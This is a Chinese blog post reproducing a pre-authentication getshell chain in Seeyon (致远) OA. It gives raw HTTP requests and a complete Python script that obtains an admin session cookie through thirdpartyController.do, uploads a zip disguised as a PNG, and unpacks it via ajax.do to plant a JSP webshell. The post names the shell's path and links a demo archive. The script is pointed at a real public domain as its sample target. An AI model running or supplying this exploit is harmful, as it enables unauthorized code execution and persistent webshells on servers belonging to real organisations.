致远OA 前台getshell 复现

作者: print("") 分类: 漏洞复现 发布时间: 2021-04-09 17:32 阅读次数: 525 次

首先是一个获取管理cookie的漏洞。然后上传压缩文件进行解压。达到getshell的目的

```
POST /seeyon/thirdpartyController.do HTTP/1.1
Host: 192.168.10.2
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 133
Content-Type: application/x-www-form-urlencoded

method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQz
NDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1
```

上传压缩包

```
POST /seeyon/fileUpload.do?method=processUpload HTTP/1.1
Host:192.168.10.2
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.1
Cookie: JSESSIONID=3495C4DEF87200EA323B1CA31E3B7DF5
Content-Length: 841
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b

--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="firstSave"

true
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="callMethod"

resizeLayout
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="isEncrypt"

0
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="takeOver"

false
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="type"

0
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="file1"; filename="11.png"
Content-Type: image/png
```

```
111
--59229605f98b8cf290a7b8908b34616b--
```

然后解压

```
POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.10.2
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=BDF7358D4C35C6D2BB99FADFEE21F913
Content-Length: 157

method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayo
utAttachment&arguments=%5B0%2C%222021-04-09%22%2C%225818374431215601542%22%5D
```

getshell 脚本

```
# coding: utf-8
import requests
import re
import time

proxy = {'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}
```

```
def seeyon_new_rce(targeturl):
    orgurl = targeturl

    # 通过请求直接获取管理员权限cookie
    targeturl = orgurl + 'seeyon/thirdpartyController.do'
    post=
{"method":"access","enc":"TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxND
MxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4","clientPath":"127.0.0.1"}
    response = requests.post(url=targeturl,data=post,proxies=proxy,
timeout=60,verify=False)
    rsp = ""
    if response and response.status_code == 200 and 'set-cookie' in
str(response.headers).lower():
        cookies = response.cookies
        cookies = requests.utils.dict_from_cookiejar(cookies)
        # 上传压缩文件
        aaa=cookies['JSESSIONID']
        print(aaa)
        targeturl = orgurl + 'seeyon/fileUpload.do?method=processUpload'
        files = [('file1', ('11.png', open('1.zip', 'r'), 'image/png'))]
        print()
        headers = {'Cookie':"JSESSIONID=%s"%aaa}
        data = {'callMethod': 'resizeLayout', 'firstSave': "true",
'takeOver':"false", "type": '0',
                'isEncrypt': "0"}
        response = requests.post(url=targeturl,files=files,data=data,
headers=headers,proxies=proxy,timeout=60,verify=False)
```

```
        if response.text:
            reg =
re.findall('fileurls=fileurls\+","\+\'(.+)\'',response.text,re.I)
            print(reg)
            if len(reg)==0:
                exit("匹配失败")
            fileid=reg[0]
            targeturl = orgurl + 'seeyon/ajax.do'
            datestr = time.strftime('%Y-%m-%d')
            post =
'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLay
outAttachment&arguments=%5B0%2C%22' + datestr + '%22%2C%22' + fileid + '%22%5D'
            #headers = {'Cookie': cookies}
            headers['Content-Type']="application/x-www-form-urlencoded"
            response = requests.post(targeturl,
data=post,headers=headers,proxies=proxy,timeout=60,verify=False)
            print(response.text)

seeyon_new_rce("https://baidu.com/")
```

shell地址：`/seeyon/common/designer/pageLayout/a2345678.jsp`

这个压缩包得自己生成了。压缩包里面一定得带有layout.xml 这个文件。空文件也行

例如这样的

演示的压缩包如下：

https://www.o2oxy.cn/wp-content/uploads/2021/04/1.zip